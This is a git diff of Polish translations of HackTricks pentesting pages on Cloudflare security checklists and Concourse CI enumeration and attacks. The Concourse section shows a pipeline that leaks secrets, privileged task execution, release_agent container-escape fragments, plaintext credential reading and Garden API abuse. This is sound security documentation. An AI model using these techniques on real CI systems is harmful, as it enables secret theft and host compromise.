+- Możliwe, że worker wchodzi w interakcję z innymi wewnętrznymi usługami. Na przykład, worker może wchodzić w interakcję z bucketem R2 przechowującym informacje uzyskane z danych wejściowych. W takim przypadku konieczne byłoby sprawdzenie, jakie możliwości ma worker nad bucketem R2 i jak można je wykorzystać na podstawie danych wejściowych użytkownika.
> [!WARNING]
> Zauważ, że domyślnie **Worker otrzymuje URL** taki jak `..workers.dev`. Użytkownik może ustawić go na **subdomenę**, ale zawsze możesz uzyskać do niego dostęp za pomocą tego **oryginalnego URL**, jeśli go znasz.
@@ -70,8 +70,8 @@ TODO
## Security Center
-- [ ] Jeśli to możliwe, uruchom **`Security Insights`** **skan** oraz **`Infrastructure`** **skan**, ponieważ **podkreślą** interesujące informacje **z punktu widzenia bezpieczeństwa**.
-- [ ] Po prostu **sprawdź te informacje** pod kątem błędów w konfiguracji bezpieczeństwa i interesujących informacji.
+- [ ] Jeśli to możliwe, uruchom skanowanie **`Security Insights`** i **`Infrastructure`**, ponieważ podkreślą one interesujące informacje **z punktu widzenia bezpieczeństwa**.
+- [ ] Po prostu **sprawdź te informacje** pod kątem błędnych konfiguracji bezpieczeństwa i interesujących informacji.
## Turnstile
@@ -93,7 +93,7 @@ cloudflare-zero-trust-network.md
## Notifications
-- [ ] Sprawdź **powiadomienia.** Te powiadomienia są zalecane dla bezpieczeństwa:
+- [ ] Sprawdź **powiadomienia**. Te powiadomienia są zalecane dla bezpieczeństwa:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -120,9 +120,9 @@ cloudflare-zero-trust-network.md
- [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty kredytowej**, **daty ważności** i **adresu rozliczeniowego** w **`Billing` -> `Payment info`**.
- [ ] Możliwe jest zobaczenie **rodzaju planu** używanego w koncie w **`Billing` -> `Subscriptions`**.
-- [ ] W **`Members`** możliwe jest zobaczenie wszystkich członków konta i ich **ról**. Zauważ, że jeśli rodzaj planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Ale jeśli używany **plan to Enterprise**, [**więcej ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) może być używanych w celu przestrzegania zasady najmniejszych uprawnień.
-- Dlatego, gdy tylko to możliwe, **zaleca się** korzystanie z **planu Enterprise**.
-- [ ] W sekcji Członkowie można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien to mieć włączone.
+- [ ] W **`Members`** można zobaczyć wszystkich członków konta i ich **rolę**. Zauważ, że jeśli rodzaj planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Ale jeśli używany **plan to Enterprise**, [**więcej ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) może być używanych w celu przestrzegania zasady najmniejszych uprawnień.
+- Dlatego, gdy to możliwe, **zaleca się** korzystanie z **planu Enterprise**.
+- [ ] W sekcji Członkowie można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien mieć to włączone.
> [!NOTE]
> Zauważ, że na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może podnieść uprawnień ani zapraszać** nowych członków).
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index e10472b9d..af5e4c8d2 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -6,12 +6,12 @@ W każdej TLD skonfigurowanej w Cloudflare istnieją **ogólne ustawienia i usł
-### Overview
+### Przegląd
-- [ ] Uzyskaj poczucie **jak bardzo** usługi konta są **używane**
+- [ ] Zdobądź poczucie **jak bardzo** usługi konta są **używane**
- [ ] Znajdź również **ID strefy** i **ID konta**
-### Analytics
+### Analiza
- [ ] W **`Security`** sprawdź, czy istnieje jakiekolwiek **ograniczenie liczby połączeń**
@@ -36,12 +36,12 @@ TODO
### SSL/TLS
-#### **Overview**
+#### **Przegląd**
-- [ ] **Szyfrowanie SSL/TLS** powinno być **Pełne** lub **Pełne (Ścisłe)**. Jakiekolwiek inne spowoduje przesyłanie **ruchu w postaci czystego tekstu** w pewnym momencie.
+- [ ] **Szyfrowanie SSL/TLS** powinno być **Pełne** lub **Pełne (Ścisłe)**. Jakiekolwiek inne spowoduje przesyłanie **ruchu w czystym tekście** w pewnym momencie.
- [ ] **Rekomendator SSL/TLS** powinien być włączony
-#### Edge Certificates
+#### Certyfikaty krawędziowe
- [ ] **Zawsze używaj HTTPS** powinno być **włączone**
- [ ] **HTTP Strict Transport Security (HSTS)** powinno być **włączone**
@@ -50,40 +50,40 @@ TODO
- [ ] **Automatyczne przepisywanie HTTPS** powinno być **włączone**
- [ ] **Monitorowanie przejrzystości certyfikatów** powinno być **włączone**
-### **Security**
+### **Bezpieczeństwo**
- [ ] W sekcji **`WAF`** interesujące jest sprawdzenie, czy **zasady zapory** i **ograniczenia liczby połączeń są używane** w celu zapobiegania nadużyciom.
- Akcja **`Bypass`** **wyłączy funkcje bezpieczeństwa Cloudflare** dla żądania. Nie powinna być używana.
- [ ] W sekcji **`Page Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakakolwiek strona jest używana
- [ ] W sekcji **`API Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakiekolwiek API jest wystawione w Cloudflare
-- [ ] W sekcji **`DDoS`** zaleca się włączenie **ochron DDoS**
+- [ ] W sekcji **`DDoS`** zaleca się włączenie **ochrony DDoS**
- [ ] W sekcji **`Settings`**:
- [ ] Sprawdź, czy **`Poziom bezpieczeństwa`** jest **średni** lub wyższy
- [ ] Sprawdź, czy **`Czas wyzwania`** wynosi maksymalnie 1 godzinę
- [ ] Sprawdź, czy **`Sprawdzanie integralności przeglądarki`** jest **włączone**
- [ ] Sprawdź, czy **`Wsparcie dla Privacy Pass`** jest **włączone**
-#### **CloudFlare DDoS Protection**
+#### **Ochrona DDoS CloudFlare**
-- Jeśli możesz, włącz **Tryb walki z botami** lub **Super Tryb walki z botami**. Jeśli chronisz jakieś API dostępne programowo (na przykład z strony frontowej JS). Możesz nie być w stanie włączyć tego bez przerwania tego dostępu.
-- W **WAF**: Możesz tworzyć **ograniczenia liczby połączeń według ścieżki URL** lub dla **zweryfikowanych botów** (zasady ograniczenia liczby połączeń), lub **blokować dostęp** na podstawie IP, Cookie, referrera...). Możesz więc blokować żądania, które nie pochodzą z strony internetowej lub nie mają cookie.
+- Jeśli możesz, włącz **Tryb walki z botami** lub **Super Tryb walki z botami**. Jeśli chronisz jakieś API dostępne programowo (na przykład z strony frontowej JS). Możesz nie być w stanie włączyć tego bez zakłócania tego dostępu.
+- W **WAF**: Możesz tworzyć **ograniczenia liczby połączeń według ścieżki URL** lub dla **zweryfikowanych botów** (zasady ograniczenia liczby połączeń), lub **blokować dostęp** na podstawie IP, ciasteczka, referera...). Możesz więc blokować żądania, które nie pochodzą z strony internetowej lub nie mają ciasteczka.
- Jeśli atak pochodzi od **zweryfikowanego bota**, przynajmniej **dodaj ograniczenie liczby połączeń** dla botów.
-- Jeśli atak dotyczy **konkretnej ścieżki**, jako mechanizm zapobiegawczy, dodaj **ograniczenie liczby połączeń** w tej ścieżce.
+- Jeśli atak jest skierowany na **konkretną ścieżkę**, jako mechanizm zapobiegawczy, dodaj **ograniczenie liczby połączeń** w tej ścieżce.
- Możesz również **dodać do białej listy** adresy IP, zakresy IP, kraje lub ASN z **Narzędzi** w WAF.
- Sprawdź, czy **Zarządzane zasady** mogą również pomóc w zapobieganiu wykorzystaniu podatności.
- W sekcji **Narzędzia** możesz **blokować lub stawiać wyzwanie dla konkretnych IP** i **agentów użytkownika.**
- W DDoS możesz **nadpisać niektóre zasady, aby były bardziej restrykcyjne**.
- **Ustawienia**: Ustaw **Poziom bezpieczeństwa** na **Wysoki** i na **Pod atakiem**, jeśli jesteś pod atakiem i **Sprawdzanie integralności przeglądarki jest włączone**.
-- W Cloudflare Domains -> Analytics -> Security -> Sprawdź, czy **ograniczenie liczby połączeń** jest włączone
-- W Cloudflare Domains -> Security -> Events -> Sprawdź, czy są **wykryte złośliwe zdarzenia**
+- W Cloudflare Domains -> Analiza -> Bezpieczeństwo -> Sprawdź, czy **ograniczenie liczby połączeń** jest włączone
+- W Cloudflare Domains -> Bezpieczeństwo -> Wydarzenia -> Sprawdź, czy są **wykryte złośliwe wydarzenia**
-### Access
+### Dostęp
{{#ref}}
cloudflare-zero-trust-network.md
{{#endref}}
-### Speed
+### Szybkość
_Nie mogłem znaleźć żadnej opcji związanej z bezpieczeństwem_
@@ -91,35 +91,35 @@ _Nie mogłem znaleźć żadnej opcji związanej z bezpieczeństwem_
- [ ] W sekcji **`Configuration`** rozważ włączenie **Narzędzia skanowania CSAM**
-### **Workers Routes**
+### **Trasy pracowników**
-_Już powinieneś sprawdzić_ [_cloudflare workers_](./#workers)
+_Powinieneś już sprawdzić_ [_cloudflare workers_](./#workers)
-### Rules
+### Zasady
TODO
-### Network
+### Sieć
- [ ] Jeśli **`HTTP/2`** jest **włączony**, **`HTTP/2 do Origin`** powinno być **włączone**
- [ ] **`HTTP/3 (z QUIC)`** powinno być **włączone**
-- [ ] Jeśli **prywatność** Twoich **użytkowników** jest ważna, upewnij się, że **`Onion Routing`** jest **włączony**
+- [ ] Jeśli **prywatność** twoich **użytkowników** jest ważna, upewnij się, że **`Onion Routing`** jest **włączony**
-### **Traffic**
+### **Ruch**
TODO
-### Custom Pages
+### Strony niestandardowe
-- [ ] Opcjonalnie można skonfigurować niestandardowe strony, gdy wystąpi błąd związany z bezpieczeństwem (jak blokada, ograniczenie liczby połączeń lub tryb pod atakiem)
+- [ ] Opcjonalnie można skonfigurować strony niestandardowe, gdy wystąpi błąd związany z bezpieczeństwem (jak blokada, ograniczenie liczby połączeń lub jestem w trybie ataku)
-### Apps
+### Aplikacje
TODO
### Scrape Shield
-- [ ] Sprawdź, czy **Obfuskacja adresu e-mail** jest **włączona**
+- [ ] Sprawdź, czy **Zamaskowanie adresu e-mail** jest **włączone**
- [ ] Sprawdź, czy **Wykluczenia po stronie serwera** są **włączone**
### **Zaraz**
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 1b585070c..d225b8859 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -32,13 +32,13 @@ W każdej aplikacji:
#### **Access Groups**
-- [ ] Sprawdź, czy grupy dostępu są **prawidłowo ograniczone** do użytkowników, którym powinny zezwalać.
+- [ ] Sprawdź, czy wygenerowane grupy dostępu są **prawidłowo ograniczone** do użytkowników, którym powinny zezwalać.
- [ ] Szczególnie ważne jest, aby sprawdzić, czy **domyślna grupa dostępu nie jest zbyt otwarta** (nie **pozwala zbyt wielu osobom**), ponieważ **domyślnie** każdy w tej **grupie** będzie mógł **uzyskać dostęp do aplikacji**.
- Zauważ, że możliwe jest nadanie **dostępu** do **WSZYSTKICH** i innych **bardzo otwartych polityk**, które nie są zalecane, chyba że są 100% konieczne.
#### Service Auth
-- [ ] Sprawdź, czy wszystkie tokeny serwisowe **wygasają w ciągu 1 roku lub mniej**
+- [ ] Sprawdź, czy wszystkie tokeny usługowe **wygasają w ciągu 1 roku lub mniej**
#### Tunnels
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index 296655765..2cf44607d 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -4,7 +4,7 @@
## Podstawowe informacje
-Concourse pozwala na **budowanie pipeline'ów**, aby automatycznie uruchamiać testy, akcje i budować obrazy, kiedy tylko potrzebujesz (na podstawie czasu, gdy coś się wydarzy...)
+Concourse pozwala na **tworzenie pipeline'ów**, aby automatycznie uruchamiać testy, akcje i budować obrazy, kiedy tylko potrzebujesz (na podstawie czasu, gdy coś się wydarzy...)
## Architektura Concourse
@@ -24,7 +24,7 @@ concourse-lab-creation.md
## Enumeracja i atak na Concourse
-Dowiedz się, jak możesz enumerować środowisko concourse i nadużywać go w:
+Dowiedz się, jak możesz enumerować środowisko concourse i je wykorzystywać w:
{{#ref}}
concourse-enumeration-and-attacks.md
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index 150b7da4f..09543b7bb 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -12,15 +12,15 @@
#### ATC: interfejs webowy i harmonogram budowy
-ATC jest sercem Concourse. Uruchamia **interfejs webowy i API** i jest odpowiedzialne za cały **harmonogram** pipeline'ów. **Łączy się z PostgreSQL**, którego używa do przechowywania danych pipeline'ów (w tym logów budowy).
+ATC jest sercem Concourse. Uruchamia **interfejs webowy i API** i jest odpowiedzialne za cały **harmonogram pipeline'ów**. **Łączy się z PostgreSQL**, którego używa do przechowywania danych pipeline'ów (w tym logów budowy).
-Odpowiedzialnością [checker](https://concourse-ci.org/checker.html) jest ciągłe sprawdzanie nowych wersji zasobów. [scheduler](https://concourse-ci.org/scheduler.html) jest odpowiedzialny za planowanie budów dla zadania, a [build tracker](https://concourse-ci.org/build-tracker.html) jest odpowiedzialny za uruchamianie wszelkich zaplanowanych budów. [garbage collector](https://concourse-ci.org/garbage-collector.html) jest mechanizmem czyszczącym do usuwania wszelkich nieużywanych lub przestarzałych obiektów, takich jak kontenery i wolumeny.
+Odpowiedzialnością [checker](https://concourse-ci.org/checker.html) jest ciągłe sprawdzanie nowych wersji zasobów. [scheduler](https://concourse-ci.org/scheduler.html) jest odpowiedzialny za harmonogram budów dla zadania, a [build tracker](https://concourse-ci.org/build-tracker.html) jest odpowiedzialny za uruchamianie wszelkich zaplanowanych budów. [garbage collector](https://concourse-ci.org/garbage-collector.html) jest mechanizmem czyszczącym do usuwania wszelkich nieużywanych lub przestarzałych obiektów, takich jak kontenery i wolumeny.
#### TSA: rejestracja pracowników i przekazywanie
TSA to **serwer SSH zbudowany na zamówienie**, który jest używany wyłącznie do bezpiecznej **rejestracji** [**pracowników**](https://concourse-ci.org/internals.html#architecture-worker) w [ATC](https://concourse-ci.org/internals.html#component-atc).
-TSA domyślnie **nasłuchuje na porcie `2222`** i zazwyczaj znajduje się w tym samym miejscu co [ATC](https://concourse-ci.org/internals.html#component-atc) i jest za równoważnikiem obciążenia.
+TSA domyślnie **nasłuchuje na porcie `2222`** i zazwyczaj znajduje się w tym samym miejscu co [ATC](https://concourse-ci.org/internals.html#component-atc) i jest umieszczone za równoważnikiem obciążenia.
**TSA implementuje CLI przez połączenie SSH,** wspierając [**te polecenia**](https://concourse-ci.org/internals.html#component-tsa).
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index c08122a95..6ed5d4695 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -4,31 +4,31 @@
{{#include ../../banners/hacktricks-training.md}}
-### User Roles & Permissions
+### Role użytkowników i uprawnienia
Concourse ma pięć ról:
- _Concourse_ **Admin**: Ta rola jest przyznawana tylko właścicielom **głównego zespołu** (domyślny początkowy zespół concourse). Administratorzy mogą **konfigurować inne zespoły** (np.: `fly set-team`, `fly destroy-team`...). Uprawnienia tej roli nie mogą być zmieniane przez RBAC.
- **owner**: Właściciele zespołów mogą **modyfikować wszystko w zespole**.
- **member**: Członkowie zespołu mogą **czytać i pisać** w **zasobach zespołu**, ale nie mogą modyfikować ustawień zespołu.
-- **pipeline-operator**: Operatorzy pipeline mogą wykonywać **operacje na pipeline**, takie jak uruchamianie budów i przypinanie zasobów, jednak nie mogą aktualizować konfiguracji pipeline.
+- **pipeline-operator**: Operatorzy pipeline mogą wykonywać **operacje pipeline**, takie jak uruchamianie budów i przypinanie zasobów, jednak nie mogą aktualizować konfiguracji pipeline.
- **viewer**: Widzowie zespołu mają **dostęp "tylko do odczytu" do zespołu** i jego pipeline.
> [!NOTE]
-> Ponadto, **uprawnienia ról owner, member, pipeline-operator i viewer mogą być modyfikowane** poprzez konfigurację RBAC (konfigurując bardziej szczegółowo jego działania). Przeczytaj więcej na ten temat w: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> Ponadto, **uprawnienia ról owner, member, pipeline-operator i viewer mogą być modyfikowane** poprzez konfigurację RBAC (konfigurując bardziej szczegółowo ich działania). Przeczytaj więcej na ten temat w: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
-Zauważ, że Concourse **grupuje pipeline w zespoły**. Dlatego użytkownicy należący do zespołu będą mogli zarządzać tymi pipeline i **może istnieć kilka zespołów**. Użytkownik może należeć do kilku zespołów i mieć różne uprawnienia w każdym z nich.
+Zauważ, że Concourse **grupuje pipeline w zespołach**. Dlatego użytkownicy należący do zespołu będą mogli zarządzać tymi pipeline i **może istnieć kilka zespołów**. Użytkownik może należeć do kilku zespołów i mieć różne uprawnienia w każdym z nich.
-### Vars & Credential Manager
+### Vars i Menedżer poświadczeń
W konfiguracjach YAML możesz konfigurować wartości używając składni `((_source-name_:_secret-path_._secret-field_))`.\
[Z dokumentacji:](https://concourse-ci.org/vars.html#var-syntax) **source-name jest opcjonalny**, a jeśli zostanie pominięty, zostanie użyty [menedżer poświadczeń w skali klastra](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), lub wartość może być podana [statycznie](https://concourse-ci.org/vars.html#static-vars).\
**Opcjonalne \_secret-field**\_ określa pole w pobranym sekrecie do odczytu. Jeśli zostanie pominięte, menedżer poświadczeń może zdecydować się na odczytanie 'domyślnego pola' z pobranych poświadczeń, jeśli pole istnieje.\
Ponadto, _**secret-path**_ i _**secret-field**_ mogą być otoczone podwójnymi cudzysłowami `"..."`, jeśli **zawierają znaki specjalne** takie jak `.` i `:`. Na przykład, `((source:"my.secret"."field:1"))` ustawi _secret-path_ na `my.secret` i _secret-field_ na `field:1`.
-#### Static Vars
+#### Statyczne Vars
-Statyczne zmienne mogą być określone w **krokach zadań**:
+Statyczne vars mogą być określone w **krokach zadań**:
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
@@ -46,22 +46,22 @@ Or using the following `fly` **arguments**:
Istnieją różne sposoby, w jakie **Menadżer Poświadczeń może być określony** w potoku, przeczytaj jak w [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Ponadto, Concourse obsługuje różne menedżery poświadczeń:
-- [Menadżer poświadczeń Vault](https://concourse-ci.org/vault-credential-manager.html)
-- [Menadżer poświadczeń CredHub](https://concourse-ci.org/credhub-credential-manager.html)
-- [Menadżer poświadczeń AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
-- [Menadżer poświadczeń AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
-- [Menadżer poświadczeń Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
-- [Menadżer poświadczeń Conjur](https://concourse-ci.org/conjur-credential-manager.html)
-- [Buforowanie poświadczeń](https://concourse-ci.org/creds-caching.html)
-- [Redagowanie poświadczeń](https://concourse-ci.org/creds-redacting.html)
-- [Ponawianie nieudanych pobrań](https://concourse-ci.org/creds-retry-logic.html)
+- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
+- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
+- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
+- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
+- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
+- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
+- [Caching credentials](https://concourse-ci.org/creds-caching.html)
+- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
+- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
> Zauważ, że jeśli masz jakiś rodzaj **dostępu do zapisu do Concourse**, możesz tworzyć zadania, aby **wykradać te sekrety**, ponieważ Concourse musi mieć możliwość ich dostępu.
### Enumeracja Concourse
-Aby enumerować środowisko Concourse, najpierw musisz **zgromadzić ważne poświadczenia** lub znaleźć **uwierzytelniony token**, prawdopodobnie w pliku konfiguracyjnym `.flyrc`.
+Aby enumerować środowisko Concourse, musisz najpierw **zgromadzić ważne poświadczenia** lub znaleźć **uwierzytelniony token**, prawdopodobnie w pliku konfiguracyjnym `.flyrc`.
#### Logowanie i enumeracja bieżącego użytkownika
@@ -71,7 +71,7 @@ Aby enumerować środowisko Concourse, najpierw musisz **zgromadzić ważne poś
- `fly targets`
- Sprawdź, czy skonfigurowane **połączenie z celem** jest nadal **ważne**:
- `fly -t status`
-- Uzyskaj **rolę** użytkownika w odniesieniu do wskazanego celu:
+- Uzyskaj **rolę** użytkownika w stosunku do wskazanego celu:
- `fly -t userinfo`
> [!NOTE]
@@ -116,7 +116,7 @@ rm /tmp/secrets.txt
- Lista **budów** (aby zobaczyć, co jest uruchomione):
- `fly -t builds`
-### Ataki Concourse
+### Ataki na Concourse
#### Bruteforce poświadczeń
@@ -125,7 +125,7 @@ rm /tmp/secrets.txt
#### Enumeracja sekretów i parametrów
-W poprzedniej sekcji zobaczyliśmy, jak można **uzyskać wszystkie nazwy i zmienne sekretów** używanych przez pipeline. **Zmienne mogą zawierać wrażliwe informacje**, a nazwa **sekretów będzie przydatna później, aby spróbować je ukraść**.
+W poprzedniej sekcji zobaczyliśmy, jak możesz **uzyskać wszystkie nazwy i zmienne sekretów** używanych przez pipeline. **Zmienne mogą zawierać wrażliwe informacje**, a nazwa **sekretów będzie przydatna później, aby spróbować je ukraść**.
#### Sesja wewnątrz uruchomionego lub niedawno uruchomionego kontenera
@@ -138,11 +138,11 @@ Z tymi uprawnieniami możesz być w stanie:
- **Kraść sekrety** wewnątrz **kontenera**
- Spróbować **uciec** do węzła
-- Enumerować/Abusować punkt końcowy **metadanych chmury** (z podu i z węzła, jeśli to możliwe)
+- Enumerować/Abuse **endpoint metadanych chmury** (z podu i z węzła, jeśli to możliwe)
#### Tworzenie/Modyfikacja Pipeline
-Jeśli masz wystarczające uprawnienia (**rola członka lub wyższa**) będziesz mógł **tworzyć/modyfikować nowe pipeline'y.** Sprawdź ten przykład:
+Jeśli masz wystarczające uprawnienia (**rola członka lub wyższa**) będziesz mógł **tworzyć/modyfikować nowe pipeline.** Sprawdź ten przykład:
```yaml
jobs:
- name: simple
@@ -166,11 +166,11 @@ sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
-Z **modyfikacją/utworzeniem** nowego pipeline'u będziesz mógł:
+Z **modyfikacją/utworzeniem** nowego pipeline'a będziesz mógł:
- **Kraść** **sekrety** (poprzez ich wyświetlanie lub dostanie się do kontenera i uruchomienie `env`)
-- **Uciec** do **węzła** (dając ci wystarczające uprawnienia - `privileged: true`)
-- Enumerować/wykorzystać punkt końcowy **metadanych chmury** (z poda i z węzła)
+- **Uciec** do **węzła** (dając sobie wystarczające uprawnienia - `privileged: true`)
+- Enumerować/nadużywać punktu końcowego **metadanych chmury** (z poda i z węzła)
- **Usunąć** utworzony pipeline
#### Wykonaj niestandardowe zadanie
@@ -201,7 +201,7 @@ fly -t tutorial execute --privileged --config task_config.yml
W poprzednich sekcjach zobaczyliśmy, jak **wykonać zadanie uprzywilejowane z concourse**. To nie da kontenerowi dokładnie takiego samego dostępu jak flaga uprzywilejowana w kontenerze docker. Na przykład, nie zobaczysz urządzenia systemu plików węzła w /dev, więc ucieczka może być bardziej "skomplikowana".
-W następującym PoC użyjemy release_agent, aby uciec z pewnymi drobnymi modyfikacjami:
+W następującym PoC użyjemy release_agent do ucieczki z pewnymi drobnymi modyfikacjami:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -260,11 +260,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
```
> [!WARNING]
-> Jak być może zauważyłeś, to jest po prostu [**zwykłe wyjście z release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) polegające na modyfikacji ścieżki cmd w węźle
+> Jak być może zauważyłeś, to jest po prostu [**zwykłe wydanie escape release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), po prostu modyfikując ścieżkę cmd w węźle
#### Ucieczka do węzła z kontenera Worker
-Zwykłe wyjście z release_agent z drobną modyfikacją wystarczy do tego:
+Zwykłe wydanie escape release_agent z drobną modyfikacją wystarczy do tego:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -293,9 +293,9 @@ cat /output
```
#### Ucieczka do węzła z kontenera Web
-Nawet jeśli kontener web ma wyłączone niektóre zabezpieczenia, **nie działa jako zwykły kontener z uprawnieniami** (na przykład, **nie możesz** **zamontować** i **możliwości** są bardzo **ograniczone**, więc wszystkie łatwe sposoby na ucieczkę z kontenera są bezużyteczne).
+Nawet jeśli kontener webowy ma wyłączone niektóre zabezpieczenia, **nie działa jako zwykły kontener z uprawnieniami** (na przykład, **nie możesz** **zamontować** i **możliwości** są bardzo **ograniczone**, więc wszystkie łatwe sposoby na ucieczkę z kontenera są bezużyteczne).
-Jednak przechowuje **lokalne poświadczenia w postaci niezaszyfrowanej**:
+Jednak przechowuje **lokalne poświadczenia w postaci czystego tekstu**:
```bash
cat /concourse-auth/local-users
test:test
@@ -330,12 +330,12 @@ select * from users;
#### Wykorzystywanie usługi Garden - Nie jest to prawdziwy atak
> [!WARNING]
-> To tylko kilka interesujących uwag na temat usługi, ale ponieważ nasłuchuje ona tylko na localhost, te uwagi nie będą miały żadnego wpływu, którego wcześniej nie wykorzystaliśmy.
+> To tylko kilka interesujących uwag na temat usługi, ale ponieważ nasłuchuje ona tylko na localhost, te uwagi nie będą miały żadnego wpływu, którego wcześniej nie wykorzystaliśmy
-Domyślnie każdy pracownik concourse będzie uruchamiał usługę [**Garden**](https://github.com/cloudfoundry/garden) na porcie 7777. Usługa ta jest używana przez mistrza sieci do wskazania pracownikowi **czego potrzebuje do wykonania** (pobranie obrazu i uruchomienie każdego zadania). To brzmi całkiem dobrze dla atakującego, ale istnieje kilka dobrych zabezpieczeń:
+Domyślnie każdy pracownik concourse będzie uruchamiał usługę [**Garden**](https://github.com/cloudfoundry/garden) na porcie 7777. Usługa ta jest używana przez mistrza sieci do wskazania pracownikowi **co musi wykonać** (pobranie obrazu i uruchomienie każdego zadania). To brzmi całkiem dobrze dla atakującego, ale istnieje kilka dobrych zabezpieczeń:
-- Jest **ekspozycja lokalna** (127..0.0.1) i myślę, że gdy pracownik uwierzytelni się w sieci za pomocą specjalnej usługi SSH, tworzony jest tunel, aby serwer webowy mógł **rozmawiać z każdą usługą Garden** wewnątrz każdego pracownika.
-- Serwer webowy **monitoruje działające kontenery co kilka sekund**, a **nieoczekiwane** kontenery są **usuwane**. Więc jeśli chcesz **uruchomić niestandardowy kontener**, musisz **manipulować** **komunikacją** między serwerem webowym a usługą garden.
+- Jest **ekspozycja lokalna** (127..0.0.1) i myślę, że gdy pracownik uwierzytelni się w sieci za pomocą specjalnej usługi SSH, tworzony jest tunel, aby serwer WWW mógł **rozmawiać z każdą usługą Garden** wewnątrz każdego pracownika.
+- Serwer WWW **monitoruje działające kontenery co kilka sekund**, a **nieoczekiwane** kontenery są **usuwane**. Więc jeśli chcesz **uruchomić niestandardowy kontener**, musisz **manipulować** **komunikacją** między serwerem WWW a usługą garden.
Pracownicy concourse działają z wysokimi uprawnieniami kontenera:
```
@@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
-Jednak serwer WWW sprawdza co kilka sekund działające kontenery, a jeśli zostanie odkryty niespodziewany, zostanie on usunięty. Ponieważ komunikacja odbywa się w HTTP, możesz manipulować komunikacją, aby uniknąć usunięcia niespodziewanych kontenerów:
+Jednak serwer webowy co kilka sekund sprawdza działające kontenery, a jeśli zostanie odkryty niespodziewany, zostanie usunięty. Ponieważ komunikacja odbywa się w HTTP, możesz manipulować komunikacją, aby uniknąć usunięcia niespodziewanych kontenerów:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 32b97ffbc..925f6ee6c 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-Po wygenerowaniu środowiska concourse, możesz wygenerować sekret i przyznać dostęp do SA działającego w concourse web, aby uzyskać dostęp do sekretów K8s:
+Po wygenerowaniu środowiska concourse, możesz wygenerować sekret i dać dostęp do SA działającego w concourse web, aby uzyskać dostęp do sekretów K8s:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
